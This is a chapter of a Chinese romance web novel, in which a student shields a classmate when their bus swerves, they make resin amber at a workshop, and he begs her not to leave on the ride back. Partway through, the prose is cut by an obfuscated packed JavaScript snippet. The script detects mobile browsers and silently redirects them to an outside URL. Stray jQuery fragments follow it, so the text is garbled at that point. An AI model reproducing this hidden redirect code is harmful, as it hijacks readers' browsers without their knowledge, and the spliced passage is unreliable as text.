轮胎在地面上发出尖锐的摩擦声,车身剧烈地向一侧倾斜。
车厢里尖叫声四起。
谢予青的身体被惯性甩向一边,整个人往窗户方向撞去。
她的脑子里一片空白,条件反射地伸手去抓前面的椅背,没抓到,手在空气中划了一下,什么都没握住。
一只手从旁边伸过来,有力地搂住了她的肩膀。
那只手扣在她的肩头,五指收紧,把她整个人往回拽。
她的身体被那只手带回来,撞到一个胸膛上。
另一只手从另一侧绕过来,环住她的上臂,两只手在她身前交叠,把她整个人圈住了。
车子继续晃动了几下,终于停了下来。
发动机熄火了,车厢里一片安静。
很快,众人反应过来,车厢里马上开始闹哄哄的。有人一直拍着胸脯在说吓死了吓死了,还有人在骂那个骑摩托车的。
司机打开车门下去查看情况。
谢予青靠在夏听北的怀里,整个人蜷着,头低着,双手抱在头顶。她的心跳很快,手指在发抖,耳朵里嗡嗡地响。
她能感觉到夏听北的胸膛贴着她的后背。
她的意识慢慢回来了。
她放下抱在头顶的手,直起身。
肩膀上的手没有松开,腰侧的手臂也没有松开,她整个人还在他的怀抱里。
她转头看夏听北。
他的脸是白的,嘴唇的颜色也很淡,额头上有一层细密的汗珠。
他的眼睛看着前方,眼神涣散,手在微微发抖。
“你没事吧?”谢予青问。
夏听北低头看着他,他眨了两次眼,像是在确认眼前的人是谁。
“没事。”
声音是有气无力的,气很短,像从喉咙里挤出来的。
他松开手,手臂慢慢垂下去。
他的手从她肩上滑落的动作很慢,手放在自己膝盖上,手指还在微微发抖,张了张,握成拳头,又松开了。
他的呼吸很浅,胸口起伏的幅度不大,频率比平时快。
“你是不是不舒服?”谢予青看着他苍白的脸,眉间拧了一下。
“没有。”
“你的脸色很差。”
“没事。”他把脸偏向过道,拒绝继续再跟她交流。
谢予青没再说话。
她转回去,坐正了。
旁边的学姐从前面探过头来问有没有人受伤,谢予青说没事。
学姐看了看她,又看了看夏听北,夏听北偏着脸,学姐没多问,转回去了。
车厢里渐渐恢复了正常。
司机回到驾驶座上,发动了车子。
有人问他怎么回事,他说摩托车跑了,人没事就好。
车子重新启动,继续往前开。
谢予青靠着车窗,余光能看到旁边的人。
他靠在椅背上,闭着眼睛,脸色没有好转,手还放在膝盖上,手指没有再抖了,但整只手无力地搭在那里。
“如果你不舒服,要不要先回去?”谢予青说。
夏听北睁开眼睛看着她。
“不回去。”语气很硬,跟刚才有气无力的声音判若两人。
谢予青看了他一眼,无奈地叹了口气。
转回去,不说话了。
车子又开了二十分钟,到了市中心。
手作工坊在一栋写字楼的五楼,地方不大,装修很温馨,木质的桌椅,墙上挂着各种琥珀成品。
大桌子上铺了灰色的桌布,每个人面前摆着一块木板,一把镊子,一把剪刀,还有各种材料。
工坊的老师站在前面,讲了琥珀的制作步骤。第一步选材料,可以选干花,可以选小昆虫,可以选各种小物件。
第二步摆造型,把选好的材料放在模具底部,怎么好看怎么摆。第三步调胶,A胶和B胶按三比一的比例混合,搅拌均匀,静置消泡。
第四步灌胶,把调好的胶慢慢倒入模具,不能有气泡。第五步等凝固,大概需要二十四小时,今天做不完,下周来拿。
林楠在旁边补充说下周同一时间大家再来一次,拿成品,顺便聚餐。
谢予青坐在长桌的中段,面前摆着一堆材料。
干花有好几种颜色,满天星白色的小花,绣球花紫色的花瓣,还有一些叫不出名字的绿色叶片。
小昆虫装在玻璃瓶里,有瓢虫,有金龟子,有蝴蝶的翅膀。她拿起镊子夹了一片绣球花瓣,放在模具底部比了比,太大了,换了一片小的。
夏听北坐在她右边,面前的材料一样都没动。
他坐在那里,看着桌上的东西,不知道在想什么。
他的脸还是白的,比刚才好了一点,嘴唇有了一点颜色,手指不抖了。
但他整个人看起来没什么精神,肩膀微微往下塌。
谢予青低头摆弄自己的造型。
她把满天星和绣球花瓣搭配在一起,中间放了一片蕨类的叶子,蕨叶的形状很好看,像一把微型的梳子,叶缘有细密的锯齿。
她用镊子调整了几次位置,蕨叶的朝向,花朵的疏密,花瓣之间的间距,退后一点看了看,又凑近调整了一下。
满意了,开始调胶。
A胶倒进量杯,B胶按比例加入。
她用搅拌棒顺时针搅拌,动作不快不慢,搅拌了大约三分钟,胶液变得清澈了,气泡也消了大半。
她把量杯放在一边,静置。
偏过头看了一眼夏听北。
他面前的模具还是空的,材料还是整整齐齐地摆在盒子里,一样都没动。
他的手放在桌上,手指轻轻敲着桌面,一下,两下,三下,节奏均匀,漫无目的。
“你不做吗?”谢予青问。
夏听北看了她一眼,这才拿起镊子,从盒子里夹了一片蕨叶,放在模具底部,又夹了五朵满天星放在蕨叶旁边。
跟刚才谢予青步骤一样,他很快做完了一切,静置消泡。
谢予青的胶消好了。
她端起量杯,慢慢地把胶倒入模具。
胶液从量杯口流出来,细细的一股,像透明的糖浆,从模具的一侧开始,慢慢铺开,盖住了蕨叶和花瓣。
花瓣在胶液里微微漂移了一下,她屏住呼吸,等胶液铺满模具底部,放下量杯,用镊子轻轻把漂移的花瓣拨回原位。
拨了两次,第三次的时候稳住了。
她抬起头,看向夏听北。
他的胶还在静置。
他靠在椅背上,看着自己面前那个空空的模具,盯着那五朵一字排开的满天星。
他的眼神放空了,焦距不在那几朵花上,不知道在想些什么。
夏听北把胶倒入模具,胶液流得均匀,从模具的一侧慢慢扩散,接触到满天星的花瓣,白色的小花在透明的胶里微微动了一下,稳住。
他看着那个过程,胶液没过花朵,全部盖住,胶液表面平静,没有气泡。
他放下量杯,没再动。
两个人都做完了。
周围的人还在忙,工坊的老师在指导一个女生怎么处理胶里的气泡,用打火机在胶面上燎一下,气泡就破了。
谢予青看着老师操作,记下了这个方法。
夏听北做的琥珀在桌上放着,模具里的胶还没有凝固,透明得像水。
五朵满天星浮在胶液的不同深度,有两朵沉底了,有一朵悬浮在中间,有两朵还在缓慢地往下沉。
透明的胶,白色的花,简简单单。
他的手肘撑在桌上,手掌托着下巴,看着那五朵花往下沉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539336|203121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
谢予青偏头看了他一眼。
他的侧脸在灯光下线条柔和了一些。
他在看那个琥珀,看得很认真,眼睛一眨不眨。
那个表情跟他平时不一样。
平时他总是冷着一张脸,嘴角往下,眉头微微皱着,好像对什么都不满意。
现在他的眉头松开了,嘴唇轻轻闭着,很安静,像一个小学生。
周围的人陆续做完了。
林楠站起来,拍了拍手,“大家做完了就把模具放在桌上,写上名字,下周来拿,收拾一下东西,我们该回去了。”
大家开始收拾。
谢予青把镊子和剪刀放回盒子里,用湿巾擦了手。
她拿起桌上的记号笔,在模具底部的贴纸上写了自己的名字,夏听北也写了,龙飞凤舞的。
出了工坊,大家下楼。
大巴在楼下等着,等人齐了,上车,原路返回学校。
还是原来的座位,谢予青靠窗,夏听北在旁边。
两个人刚坐好,林楠从前面探过头来。
“谢予青,你过来一下,坐我旁边,我有事跟你说,社团下个月的活动安排,想听听你的意见。”
谢予青点了点头,“好。”
她解开安全带,准备站起来。
一只手抓住了她的手腕。
手指扣在她手腕的骨节上,温度偏低,手心是凉的。
谢予青低头看着那只手。
夏听北的手,骨节分明,手指修长,指甲剪得很短。
他的手腕从袖口露出来一截,能看到青色的血管。
她抬头看夏听北,满脸不解。
他看着她,脸上的表情跟平时不一样,他的眼睛里有一种东西,她说不上来是什么,也许是脆弱,也许是害怕,总之是某个她没有在他脸上见过的情绪。
“别走。”他的声音很低,气很弱。
谢予青愣了一下,“我就是去前面跟学姐聊会儿天,又不下车。”
夏听北的手没有松开,手指反而收得更紧了,抓得她的手腕有一点疼。
他看着她的眼睛,重复了一遍。
“别走。”
谢予青看着他苍白的脸,他的嘴唇动了动,好像在犹豫要不要说下一句话。
“求你了,别走。”他还是说了。
谢予青的心脏被什么东西撞了一下,说不上是什么感觉,闷闷的,在胸腔里扩散开来。
她转头看着前面。
林楠还在等她,手里拿着文件夹,正笑眯眯地看着这边。
“学姐,我待会儿再过去。”谢予青说。
林楠看了看两个人,脸上露出了一个了然的微笑。
“行行行,不打扰你们两个了,咱们微信聊吧。”林楠转回去了。
谢予青知道她误会了,只能叹口气。
她转回来,低头看着夏听北的手。
他还抓着她的手腕,没有松开的意思。
“你松手,我不走。”
夏听北的手慢慢松开了,他把手缩回去,放在自己膝盖上。
谢予青揉了揉被捏疼的手腕。
他刚才用的力气很大,手腕上留下了一圈浅浅的红印。
她看着那个红印,心里有好多东西在翻涌,但她的脸上什么都没露出来。
车子开了。
夏听北靠着椅背,侧过脸闭目养神,没再看她。
谢予青看了他一眼,他的脸上又恢复了那种什么都没在想的表情。
大巴在路上行驶。
谢予青靠着车窗,右手的手腕上还残留着他手指的触感。
她低头看着那一圈渐渐消退的红印,看着它们从红色变成粉色,从粉色变成正常的肤色。
她的手指微微动了一下。